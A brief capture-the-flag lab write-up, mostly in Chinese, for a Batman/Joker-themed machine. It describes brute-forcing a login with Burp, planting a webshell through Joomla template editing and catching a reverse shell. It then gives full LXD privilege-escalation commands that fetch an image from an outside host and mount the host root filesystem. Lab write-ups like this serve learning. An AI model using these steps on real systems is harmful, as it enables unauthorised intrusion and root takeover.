Batman hits Joker.
Joker: "Bats you may be a rock but you won't break me." (Laughs!)
Batman: "I will break you with this rock. You made a mistake now."
Joker: "This is one of your 100 poor jokes, when will you get a sense of humor bats! You are dumb as a rock."
Joker: "HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA!"

密码错误，这里使用burp进行爆破

登录后台是joomla 的CMS

通过模板编辑获取shell

编辑index.php文件获取webshell

本地监听1234端口，访问主页面获取shell

提权操作

这里使用LXD 来提升权限

本地先编译好alpine，然后再使用

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

靶机操作

wget http://10.10.202.133/alpine-v3.10-x86_64-20190907_1836.tar.gz

lxc image import ./alpine-v3.10-x86_64-20190907_1836.tar.gz --alias myimage

lxc image list

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

OVER!
